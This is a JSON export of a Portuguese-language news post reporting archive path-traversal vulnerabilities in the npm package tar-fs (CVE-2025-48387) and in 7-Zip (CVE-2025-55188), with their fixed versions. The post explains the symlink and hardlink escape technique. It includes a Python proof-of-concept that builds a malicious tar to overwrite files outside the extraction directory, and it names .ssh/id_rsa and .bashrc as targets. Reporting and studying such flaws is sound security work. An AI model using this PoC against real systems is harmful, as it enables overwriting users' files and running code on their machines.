{"id":140951,"date":"2025-08-18T11:12:07","date_gmt":"2025-08-18T09:12:07","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga"},"modified":"2025-08-18T11:12:07","modified_gmt":"2025-08-18T09:12:07","slug":"uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga","status":"publish","type":"post","link":"https:\/\/prohoster.info\/pt\/blog\/news\/uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga","title":{"rendered":"Vulnerabilidades no tar-fs e 7-Zip que permitem gravar arquivos fora do diret\u00f3rio base","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

No pacote NPM tar-fs, foi identificada uma vulnerabilidade (CVE-2025-48387) que permite, durante a descompacta\u00e7\u00e3o de um arquivo tar especialmente formatado, escrever arquivos em qualquer parte do sistema de arquivos, sem limita\u00e7\u00f5es quanto ao diret\u00f3rio de destino (conforme permitido pelas permiss\u00f5es do usu\u00e1rio atual). A vulnerabilidade tamb\u00e9m pode ser usada para sobrescrever arquivos existentes, por exemplo, para executar c\u00f3digo no sistema, arquivos como «.ssh\/id_rsa» ou «.bashrc» no diret\u00f3rio pessoal do usu\u00e1rio podem ser sobrescritos. <\/p>\n

A quest\u00e3o foi classificada como cr\u00edtica, considerando que o pacote tar-fs tem 23 milh\u00f5es de downloads por semana e \u00e9 utilizado como depend\u00eancia em 1155 projetos. A vulnerabilidade foi corrigida nas vers\u00f5es 3.0.9, 2.1.3 e 1.16.5, lan\u00e7adas em maio, mas a informa\u00e7\u00e3o sobre a vulnerabilidade foi divulgada apenas quase 3 meses depois. <\/p>\n

A vulnerabilidade \u00e9 causada por checagens insuficientes das refer\u00eancias simb\u00f3licas e duras no arquivo em rela\u00e7\u00e3o \u00e0 sua sa\u00edda do diret\u00f3rio alvo para descompacta\u00e7\u00e3o. Para contornar as checagens, s\u00e3o usadas duas refer\u00eancias simb\u00f3licas: a primeira aponta para o diret\u00f3rio raiz da descompacta\u00e7\u00e3o do arquivo («.»), e a segunda \u00e9 criada em rela\u00e7\u00e3o \u00e0 primeira refer\u00eancia simb\u00f3lica, usando os caracteres «..» para sair do diret\u00f3rio base. Por exemplo, a primeira refer\u00eancia «noop\/noop\/noop» aponta para «.», enquanto a segunda «noop\/noop\/noop\/.. \/.. \/.. \/» \u00e9 expandida como «.\/.. \/.. \/.. \/». Para organizar a sobrescri\u00e7\u00e3o de arquivos no arquivo, pode ser criada uma refer\u00eancia dura que aponta para um arquivo externo em rela\u00e7\u00e3o \u00e0 segunda refer\u00eancia simb\u00f3lica. import tarfile import io with tarfile.open(«poc.tar», mode=»x») as tar: root = tarfile.TarInfo(«root») root.linkname = («noop\/» * 15) + («.. \/» * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo(«noop») noop.linkname = «.» noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo(«hardflag») hard.linkname = «root\/home\/username\/flag\/flag» hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b»overwrite\n» overwrite = tarfile.TarInfo(«hardflag») overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b»new!\n» newfile = tarfile.TarInfo(«root\/home\/username\/flag\/newfile») newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content)) <\/p>\n

Uma vulnerabilidade semelhante (CVE-2025-55188) foi identificada no compactador 7-Zip. Para escrever arquivos fora do diret\u00f3rio base no 7-Zip, refer\u00eancias simb\u00f3licas com a sequ\u00eancia «..» no caminho do arquivo tamb\u00e9m podem ser utilizadas. O problema pode ser explorado durante a descompacta\u00e7\u00e3o com 7-Zip de quaisquer arquivos que suportem refer\u00eancias simb\u00f3licas, como zip, tar, 7z e rar. O problema foi corrigido na vers\u00e3o 7-Zip 25.01.
\n
Fonte: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u0412 NPM-\u043f\u0430\u043a\u0435\u0442\u0435 tar-fs \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2025-48387), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u0440\u0438 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u043a\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u043e\u0433\u043e tar-\u0430\u0440\u0445\u0438\u0432\u0430 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0432 \u043b\u044e\u0431\u044b\u0435 \u0447\u0430\u0441\u0442\u0438 \u0424\u0421, \u043d\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0435 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u043c, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442\u0441\u044f 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\u0441\u0432\u043e\u0435\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u0430\u043d\u044b \u0444\u0430\u0439\u043b\u044b «.ssh\/id_rsa» \u0438\u043b\u0438 «.bashrc» \u0432 […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-140951","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47 Vulnerabilidades no tar-fs e 7-Zip, permitindo gravar arquivos fora do diret\u00f3rio base | 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